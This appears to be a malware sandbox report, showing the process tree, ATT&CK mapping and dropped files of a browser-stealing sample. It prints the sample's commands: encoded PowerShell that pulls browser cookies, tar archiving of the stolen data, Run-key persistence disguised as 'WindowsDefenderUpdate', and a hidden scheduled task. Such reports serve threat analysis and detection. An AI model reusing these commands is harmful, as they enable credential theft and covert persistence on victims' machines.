QAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAoACwAJABiAHkAdABlAHMAMgApAAoAIAAgACAAIAAkAHcAcwAuAFMAZQBuAGQAQQBzAHkAbgBjACgAJABzAGUAZwAyACwAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBTAG8AYwBrAGUAdABzAC4AVwBlAGIAUwBvAGMAawBlAHQATQBlAHMAcwBhAGcAZQBUAHkAcABlAF0AOgA6AFQAZQB4AHQALAAgACQAdAByAHUAZQAsACAAJABjAHQAcwAuAFQAbwBrAGUAbgApAC4AVwBhAGkAdAAoACkACgAKACAAIAAgACAAIwAgAFIAZQBhAGQAIAB0AGgAZQAgAHIAZQBzAHAAbwBuAHMAZQAgAHQAbwAgAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzAAoAIAAgACAAIAAkAGoAcwBvAG4AIAA9ACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAIAAkAHcAcwAgACQAYwB0AHMACgAgACAAIAAgAHQAcgB5ACAAewAgACQAdwBzAC4AQwBsAG8AcwBlAEEAcwB5AG4AYwAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBXAGUAYgBTAG8AYwBrAGUAdABDAGwAbwBzAGUAUwB0AGEAdAB1AHMAXQA6ADoATgBvAHIAbQBhAGwAQwBsAG8AcwB1AHIAZQAsACAAJwAnACwAIAAkAGMAdABzAC4AVABvAGsAZQBuACkALgBXAGEAaQB0ACgAKQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABqAHMAbwBuAAoAfQAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAKAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAJwAgACsAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAIAArACAAJwAiAH0AJwApAAoAfQA=
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4452
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe 2>nul"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4628
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              taskkill /F /IM msedge.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1412
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "tar -caf "C:\Users\Admin\AppData\Local\Temp\deepside.zip" -C "C:\Users\Admin\AppData\Local\Temp\_vow9f1" ."
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3604
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\tar.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                tar -caf "C:\Users\Admin\AppData\Local\Temp\deepside.zip" -C "C:\Users\Admin\AppData\Local\Temp\_vow9f1" .
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4668
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /d /s /c "tar -caf "C:\Users\Admin\AppData\Local\Temp\ds_ck_1783133089563.zip" -C "C:\Users\Admin\AppData\Local\Temp" "ds_ck_1783133089563.txt""
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:408
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\tar.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tar -caf "C:\Users\Admin\AppData\Local\Temp\ds_ck_1783133089563.zip" -C "C:\Users\Admin\AppData\Local\Temp" "ds_ck_1783133089563.txt"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1296
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdate" /t REG_SZ /d ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderUpdate\WindowsDefenderUpdate.exe"" /f"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3052
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdate" /t REG_SZ /d ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderUpdate\WindowsDefenderUpdate.exe"" /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:548
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "WindowsDefenderUpdate" /t REG_SZ /d ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderUpdate\WindowsDefenderUpdate.exe"" /f"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6544
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "WindowsDefenderUpdate" /t REG_SZ /d ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderUpdate\WindowsDefenderUpdate.exe"" /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6804
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "schtasks /Delete /TN "WindowsDefenderUpdateTask" /F"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Indicator Removal: Clear Persistence
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2116
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              schtasks /Delete /TN "WindowsDefenderUpdateTask" /F
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6960
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFcAaQBuAGQAbwB3AHMARABlAGYAZQBuAGQAZQByAFUAcABkAGEAdABlAFwAVwBpAG4AZABvAHcAcwBEAGUAZgBlAG4AZABlAHIAVQBwAGQAYQB0AGUALgBlAHgAZQAnADsAJAB0AD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAEEAdABMAG8AZwBvAG4AOwAkAHMAPQBOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBIAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAwACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABJAGYARwBvAGkAbgBnAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0AUwB0AGEAcgB0AFcAaABlAG4AQQB2AGEAaQBsAGEAYgBsAGUAIAAtAE0AdQBsAHQAaQBwAGwAZQBJAG4AcwB0AGEAbgBjAGUAcwAgAEkAZwBuAG8AcgBlAE4AZQB3ADsAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBXAGkAbgBkAG8AdwBzAEQAZQBmAGUAbgBkAGUAcgBVAHAAZABhAHQAZQBUAGEAcwBrACcAIAAtAEEAYwB0AGkAbwBuACAAJABhACAALQBUAHIAaQBnAGcAZQByACAAJAB0ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAkAHMAIAAtAFIAdQBuAEwAZQB2AGUAbAAgAEgAaQBnAGgAZQBzAHQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA="
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1756
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFcAaQBuAGQAbwB3AHMARABlAGYAZQBuAGQAZQByAFUAcABkAGEAdABlAFwAVwBpAG4AZABvAHcAcwBEAGUAZgBlAG4AZABlAHIAVQBwAGQAYQB0AGUALgBlAHgAZQAnADsAJAB0AD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAEEAdABMAG8AZwBvAG4AOwAkAHMAPQBOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBIAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAwACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABJAGYARwBvAGkAbgBnAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0AUwB0AGEAcgB0AFcAaABlAG4AQQB2AGEAaQBsAGEAYgBsAGUAIAAtAE0AdQBsAHQAaQBwAGwAZQBJAG4AcwB0AGEAbgBjAGUAcwAgAEkAZwBuAG8AcgBlAE4AZQB3ADsAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBXAGkAbgBkAG8AdwBzAEQAZQBmAGUAbgBkAGUAcgBVAHAAZABhAHQAZQBUAGEAcwBrACcAIAAtAEEAYwB0AGkAbwBuACAAJABhACAALQBUAHIAaQBnAGcAZQByACAAJAB0ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAkAHMAIAAtAFIAdQBuAEwAZQB2AGUAbAAgAEgAaQBnAGgAZQBzAHQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA=
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1160
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3232
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6896

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Network

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        MITRE ATT&CK Enterprise v16

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Reconnaissance

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Resource Development

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Initial Access

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Command and Scripting Interpreter

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1059

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PowerShell

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1059.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Persistence

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1547

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1547.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Modify Authentication Process

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1556

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Privilege Escalation

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1547

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1547.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Defense Evasion

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Hide Artifacts

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1564

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Hidden Window

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1564.003

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Indicator Removal

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1070

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Clear Persistence

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1070.009

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Modify Authentication Process

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1556

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Modify Registry

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1112

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Credential Access

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Credentials from Password Stores

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1555

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Credentials from Web Browsers

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1555.003

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Modify Authentication Process

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1556

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Steal Web Session Cookie

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1539

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Unsecured Credentials

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1552

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Credentials In Files

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1552.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Browser Information Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1217

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Query Registry

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1012

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        System Information Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1082

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        System Time Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1124

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Lateral Movement

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Collection

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Data from Local System

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1005

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Command and Control

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Web Service

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1102

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Exfiltration

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Impact

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Downloads

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        settings.dat
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Size 40B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • SHA256 a504426009cec2f236e30ff589caa6f1b011988e5eb0307ac63c95df7c7aad1d
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        0700e8bb-aca7-4cd8-9bb9-9eb8c18cd50c.tmp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\0700e8bb-aca7-4cd8-9bb9-9eb8c18cd50c.tmp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Size 10KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • SHA256 7015a8aea8430f7bd90f3e474e1b0df47ae12fe4c027c12b9bbd5738feed8476
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        8118bc64-dee1-40e2-8cb7-350286ecbbba.tmp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\8118bc64-dee1-40e2-8cb7-350286ecbbba.tmp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Size 414B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • SHA256 18e3a8f650547ad5e9bc94e05cd8be163a6dfa86541d415e7be255a47e0145fb
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Preferences
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Size 10KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • SHA256 bf2910a8565b94a39c1a11de930af5cbc7967335d3090023937b31909e3a82bc
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Preferences
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Size 10KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • SHA256 d3cea79ed5e31890487f2798c8308401ad632b1fce4301805ace92ac35b5bc11
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Preferences
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Size 10KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • SHA256 a83de2d424bedfac056dbe47c77a2ac86d87ea5500f4aad4f2d8981db4fa9a7a
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Secure Preferences
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Size 11KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • SHA256 8987cb7ada86b7c0d12884502af983ba496ecbab54a07fe7c49705f1bdbc62b4
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Web Data
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Size 138KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • SHA256 c8f67afffb5de25d74fbdd0cb74fe58bb611c85d90b8f2c2815cbf2bc6e252d6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Local State
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Size 4KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • SHA256 879197001e87afc7a81f287cffd59f24f8f3b93492768dd94c9f3b69e851bb5b
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Local State
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Size 6KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • SHA256 063ac5993f02f7118627b67569d1c4fa549caba85171f921cfe2f6658571b1cd
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Local State
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Size 6KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • SHA256 041127049750b23c791b38dfd9200eea28cee53e34da85951f4471abb60d5d16
